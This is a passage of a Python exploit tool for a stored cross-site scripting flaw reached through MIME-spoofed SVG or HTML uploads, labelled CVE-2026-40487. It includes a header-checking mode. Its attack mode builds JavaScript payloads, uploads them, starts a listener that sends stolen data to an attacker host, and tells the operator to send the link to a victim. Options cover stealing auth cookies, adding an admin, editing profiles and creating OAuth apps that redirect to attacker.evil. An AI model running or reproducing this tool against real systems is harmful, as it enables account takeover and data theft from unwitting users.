help="HTTP method for api-call mode (default: GET)")
atk.add_argument("--api-path",
help="API path for api-call mode (e.g. /api/user/self)")
atk.add_argument("--api-body",
help="JSON body for api-call mode")
atk.add_argument("--custom-js",
help="JavaScript expression for custom mode")
atk.add_argument("--edit-name", default="pwned",
help="Display name for edit-profile (default: pwned)")
atk.add_argument("--edit-bio", default="Account compromised via Stored XSS",
help="Bio text for edit-profile")
atk.add_argument("--oauth-redirect",
help="Redirect URL for create-oauth-app (default: https://attacker.evil/callback)")
atk.add_argument("-f", "--format", choices=["svg", "html"], default="svg",
help="Payload file format (default: svg)")
srv = p.add_argument_group("Exfiltration Server")
srv.add_argument("--lhost",
help="Listener IP reachable by the victim's browser (required for attack modes)")
srv.add_argument("--lport", type=int, default=8888,
help="Listener port (default: 8888)")
net = p.add_argument_group("Network")
net.add_argument("--proxy",
help="HTTP/SOCKS proxy URL (e.g. http://127.0.0.1:8080 for Burp)")
out = p.add_argument_group("Output")
out.add_argument("-o", "--output",
help="Path for loot JSON file (default: loot-TIMESTAMP.json)")
return p
def validate_args(parser, args):
"""Check that mode-specific arguments are present."""
if not args.check and not args.attack:
parser.error("--attack or --check is required")
if args.check:
# --check only needs auth, no --lhost or --attack
if not args.token and (not args.email or not args.password):
parser.error("--email and --password are required (or use --token)")
return
if not args.token and (not args.email or not args.password):
parser.error("--email and --password are required (or use --token)")
if not args.lhost:
parser.error("--lhost is required")
if args.attack == "add-admin" and not args.attacker_email:
parser.error("--attacker-email is required for add-admin mode")
if args.attack == "api-call" and not args.api_path:
parser.error("--api-path is required for api-call mode")
if args.attack == "custom" and not args.custom_js:
parser.error("--custom-js is required for custom mode")
def run_check(target, auth=None, token=None, cookie_flags=None):
"""Upload a benign SVG with spoofed MIME type and check if the target is vulnerable."""
benign_svg = (
'<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">'
'<rect width="1" height="1" fill="green"/></svg>'
)
info("Uploading benign .svg with Content-Type: image/png ...")
filename = "check.svg"
file_tuple = ("file", (filename, benign_svg.encode(), "image/png"))
if token:
r = requests.post(
f"{target}/api/public/v1/upload",
headers={"Authorization": token},
files=[file_tuple],
proxies=PROXIES, verify=VERIFY_SSL,
)
else:
r = requests.post(
f"{target}/api/media/upload-server",
cookies={"auth": auth},
files=[file_tuple],
proxies=PROXIES, verify=VERIFY_SSL,
)
if r.status_code not in (200, 201):
error(f"Upload failed ({r.status_code}): {r.text}")
sys.exit(1)
data = r.json()
file_url = data.get("path", "")
success(f"Uploaded: {file_url}")
# Fetch the uploaded file and inspect response headers
info("Fetching uploaded file to check response headers ...")
r2 = requests.get(file_url, allow_redirects=True, proxies=PROXIES, verify=VERIFY_SSL)
ct = r2.headers.get("Content-Type", "")
xcto = r2.headers.get("X-Content-Type-Options", "")
csp = r2.headers.get("Content-Security-Policy", "")
# ── Upload & response header analysis ───────────────────────────
print(f"\n {_c(BOLD, 'Upload Analysis')}")
print(f" {_c(CYAN, 'URL')}: {file_url}")
print(f" {_c(CYAN, 'HTTP Status')}: {r2.status_code}")
print(f" {_c(CYAN, 'Content-Type')}: {ct or '(not set)'}")
print(f" {_c(CYAN, 'X-Content-Type-Options')}: {xcto or '(not set)'}")
print(f" {_c(CYAN, 'Content-Security-Policy')}: {csp or '(not set)'}")
vulnerable = True
reasons = []
# Check 1: file extension preserved (not renamed to .png)
if not file_url.endswith(".svg"):
reasons.append("File extension was sanitized (not .svg)")
vulnerable = False
# Check 2: Content-Type allows script execution
if "svg" in ct or "html" in ct or "xhtml" in ct or "javascript" in ct:
reasons.append(f"Content-Type '{ct}' allows script execution")
else:
reasons.append(f"Content-Type '{ct}' may block script execution")
vulnerable = False
# Check 3: CSP blocks scripts
if csp and "script-src" in csp and "'none'" in csp:
reasons.append(f"CSP blocks inline scripts (script-src 'none')")
vulnerable = False
# Check 4: nosniff header
if xcto.lower() == "nosniff":
reasons.append("X-Content-Type-Options: nosniff is set")
print()
for reason in reasons:
print(f" {_c(YELLOW, '>')} {reason}")
print()
if vulnerable:
success("TARGET IS VULNERABLE to Stored XSS via MIME-spoofed upload (CVE-2026-40487)")
else:
error("Target does NOT appear vulnerable (upload is sanitized or CSP blocks execution)")
# ── Cookie security analysis ────────────────────────────────────
if cookie_flags is not None:
print(f"\n {_c(BOLD, 'Cookie Security')}")
httponly = cookie_flags["httponly"]
secure = cookie_flags["secure"]
samesite = cookie_flags["samesite"]
print(f" {_c(CYAN, 'HttpOnly')}: {httponly}")
print(f" {_c(CYAN, 'Secure')}: {secure}")
print(f" {_c(CYAN, 'SameSite')}: {samesite or '(not set)'}")
cookie_issues = []
if not httponly:
cookie_issues.append("HttpOnly is NOT set — document.cookie exposes the auth JWT")
if not secure:
cookie_issues.append("Secure is NOT set — cookie sent over plain HTTP")
if not samesite:
cookie_issues.append("SameSite is NOT set — cookie attached on cross-origin requests")
print()
if cookie_issues:
for issue in cookie_issues:
print(f" {_c(RED, '!')} {issue}")
if not httponly:
print()
success("Cookie is NOT HttpOnly — direct cookie theft is possible!")
print(f" {_c(YELLOW, 'TIP')}: Use {_c(BOLD, '-a steal-cookie')} to exfiltrate the auth JWT.")
print(f" {_c(YELLOW, 'TIP')}: The JWT never expires — it grants permanent account access.")
else:
print(f" {_c(GREEN, '>')} Cookie is properly protected (HttpOnly + Secure + SameSite)")
print(f" {_c(DIM, ' Note: session riding via fetch() still works (see -a full-dump)')}")
elif token:
print(f"\n {_c(DIM, ' Cookie analysis skipped (token auth, no Set-Cookie to inspect)')}")
def main():
banner()
parser = build_parser()
args = parser.parse_args()
validate_args(parser, args)
# ── Proxy configuration ──────────────────────────────────────────
global PROXIES, VERIFY_SSL
if args.proxy:
PROXIES = {"http": args.proxy, "https": args.proxy}
VERIFY_SSL = False
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
info(f"Using proxy: {args.proxy}")
target = args.target.rstrip("/")
# ── Check mode: vulnerability probe ─────────────────────────────
if args.check:
if args.token:
info(f"Using token: {args.token[:12]}...")
run_check(target, token=args.token)
else:
_, auth, cflags = authenticate(target, args.email, args.password,
args.register, args.company)
run_check(target, auth=auth, cookie_flags=cflags)
return
# ── Attack mode ─────────────────────────────────────────────────
exfil_url = f"http://{args.lhost}:{args.lport}/loot"
attack = args.attack
desc = ATTACKS[attack][0]
# 1. Authenticate (via credentials or token)
if args.token:
info(f"Using token: {args.token[:12]}...")
auth = None
token = args.token
else:
_, auth, _cflags = authenticate(target, args.email, args.password,
args.register, args.company)
token = None
# 2. Generate JS payload
info(f"Generating payload: {desc}")
js_code = GENERATORS[attack](exfil_url, args)
# 3. Wrap in the chosen file format
wrapper = _html_wrapper if args.format == "html" else _svg_wrapper
payload = wrapper(js_code)
# 4. Upload (token mode uses Public API v1, credential mode uses internal API)
victim_url = upload_payload(target, auth=auth, token=token,
content=payload, extension=args.format)
# 5. Start exfil listener
info(f"Starting exfiltration listener on 0.0.0.0:{args.lport} ...")
start_exfil_server(args.lport, target)
# 6. Display victim URL
print(f"\n{'=' * 65}")
print(f"{BOLD}{RED} Send this URL to the victim:{RESET}")
print(f"\n {BOLD}{GREEN}{victim_url}{RESET}")
print(f"\n{'=' * 65}")
print(f"\n{_c(CYAN, '[*]')} Waiting for victim to open the link ...")
print(f"{_c(DIM, ' Press Ctrl+C to stop and save loot')}\n")
# 7. Wait
try:
threading.Event().wait()
except KeyboardInterrupt:
print()
save_loot(args.output)
if __name__ == "__main__":
main()